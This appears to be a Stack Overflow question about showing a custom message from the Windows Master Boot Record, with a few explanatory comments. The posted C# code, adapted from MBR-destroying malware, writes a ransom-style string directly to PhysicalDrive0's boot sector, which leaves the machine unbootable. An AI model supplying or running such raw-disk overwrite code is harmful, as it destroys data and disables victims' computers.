0

I was studying the MBR (Master Boot Record) of Windows, and I found that it can be modified and show a message, I was looking more about it on GitHub, and I found SyfuMBR and Fuc.MBR, only they are not very relevant to me because they just destroy the MBR and I don't want that, I just want to show a message like "Hello, world!", I tried adapting the code from SyfuMBR and MBRFuc* to try to show something but it just shows "FATAL: No bootable medium found! System halted.", here's my attempted SyfuMBR adaptation:

[DllImport("kernel32")]
        private static extern IntPtr CreateFile(
            string lpFileName,
            uint dwDesiredAccess,
            uint dwShareMode,
            IntPtr lpSecurityAttributes,
            uint dwCreationDisposition,
            uint dwFlagsAndAttributes,
            IntPtr hTemplateFile);

[DllImport("kernel32")]
        private static extern bool WriteFile(
            IntPtr hFile,
            byte[] lpBuffer,
            uint nNumberOfBytesToWrite,
            out uint lpNumberOfBytesWritten,
            IntPtr lpOverlapped);

private const uint GenericRead = 0x80000000;
private const uint GenericWrite = 0x40000000;
private const uint GenericExecute = 0x20000000;
private const uint GenericAll = 0x10000000;
private const uint FileShareRead = 0x1;
private const uint FileShareWrite = 0x2;
private const uint OpenExisting = 0x3;
private const uint FileFlagDeleteOnClose = 0x4000000;
private const uint MbrSize = 512u;

public void Main()
{
    var mbrData = Encoding.ASCII.GetBytes("Your computer has been Salatched :)");
    var mbr = CreateFile("\\\\.\\PhysicalDrive0", GenericAll, FileShareRead | FileShareWrite, IntPtr.Zero,
OpenExisting, 0, IntPtr.Zero);

    try
    {
        WriteFile(mbr, mbrData, MbrSize, out uint lpNumberofBytesWritten, IntPtr.Zero);
    }
    catch { }
}

Code to call MBR overwrite function:

MBR mbr = new MBR();
mbr.Main();
  • I see where you're writing the string you want to print to the MBR, but where are you writing the code to do the printing? – Joseph Sible-Reinstate Monica Jul 11 '23 at 03:46
  • The code that I show in the post is the code of a Class called MBR, the code that calls the function to overwrite the MBR in the code of a Form when a button is pressed. The post is now updated. – Junior Plays Jul 11 '23 at 18:33
  • 1
    What Joseph means is that a bootloader has to have code in it that actually writes the string to the display. You can't just place a string in the MBR and have it display. Your bootloader must contain the code to display that string as well and then it has to perform everything the original bootloader did to find the active partition and boot it. This is not a trivial task. – Michael Petch Jul 12 '23 at 03:12

0 Answers0